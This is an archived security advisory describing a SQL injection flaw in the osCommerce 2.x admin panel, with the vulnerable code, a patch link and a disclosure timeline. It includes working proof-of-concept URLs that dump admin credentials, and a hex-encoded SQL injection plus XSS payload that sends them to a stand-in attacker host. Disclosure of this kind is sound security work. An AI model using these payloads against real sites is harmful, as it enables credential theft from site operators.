Exploit the possiblities

osCommerce 2.x SQL Injection

osCommerce 2.x SQL Injection
Posted Feb 7, 2014
Authored by Ahmed Aboul-Ela

osCommerce version 2.x suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | eba790875bada38c330c5d13f0f19e1e

osCommerce 2.x SQL Injection

Change Mirror Download
# Title: osCommerce v2.x SQL Injection Vulnerability
# Dork: Powered by osCommerce
# Author: Ahmed Aboul-Ela
# Contact: ahmed.aboul3la[at]gmail[dot]com - http://twitter.com/_secgeek
# Vendor : http://www.oscommerce.com
# Version: v2.3.3.4 (current latest release) and prior versions should be affected too
# References: http://www.secgeek.net/oscommerce-v2x-sql-injection-vulnerability

- Vulnerable Code snippet in "catalog/admin/geo_zones.php":

<?php
[...]
LINE 138: $rows = 0;
LINE 139: $zones_query_raw = "select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified,
a.date_added, z.zone_name from " . TABLE_ZONES_TO_GEO_ZONES . " a left join " . TABLE_COUNTRIES . " c on a.zone_country_id = c.countries_id
left join " . TABLE_ZONES . " z on a.zone_id = z.zone_id where a.geo_zone_id = " . $HTTP_GET_VARS['zID'] . " order by association_id";
LINE 140: $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows);
LINE 141: $zones_query = tep_db_query($zones_query_raw);
[...]
?>

As we can see at line 139 the GET zID parameter directly concatenated with the sql query
without any type of sanitization which leads directly to sql injection vulnerability


- Proof of Concept ( dump the admin username and password ):

http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators --


- Exploitation & Attack Scenario:

an authenticated admin account is required to successfully exploit the vulnerability
but it can be combined with other attack vectors like XSS / CSRF to achieve more dangerous successful remote attack

Example to steal the administrator username & password and send it to php logger at "http://evilsite.com/logger.php?log=[ADMIN USER:HASH]"

We can use hybrid attack technique ( SQL Injection + XSS ) :

http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators --


- Mitigation:

The vendor has released a quick fix for the vulnerability. It is strongly recommended to apply the patch now

https://github.com/gburton/oscommerce2/commit/e4d90eccd7d9072ebe78da4c38fb048bfe31c902


- Time-Line:

Mon, Feb 3, 2014 at 10:17 PM: vulnerability advisory sent to osCommerce
Tue, Feb 4, 2014 at 01:14 AM: recevied initial reply from osCommerce
Tue, Feb 4, 2014 at 02:06 AM: osCommerce released a quick fix for the vulnerability
Thu, Feb 6, 2014 at 05:15 PM: the public responsible disclosure


- Credits:

Ahmed Aboul-Ela - Information Security Consultant @ Starware

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close